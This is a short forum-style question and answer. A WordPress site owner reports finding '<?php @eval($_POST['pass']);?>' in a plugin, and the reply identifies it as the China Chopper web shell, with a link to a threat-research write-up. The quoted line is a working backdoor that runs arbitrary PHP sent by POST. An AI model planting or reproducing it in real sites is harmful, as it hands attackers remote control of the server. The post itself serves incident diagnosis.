Found <?php @eval($_POST['pass']);?> code in wordpress site

Question

I found this code in one of my wordpress plugin site. I guess it can be used with malicious intent but what exactly it does and can I find out if it calls some other actions that I should be aware of?

Answer 1

This PHP script belongs to China Chopper Hacking Kit.

https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html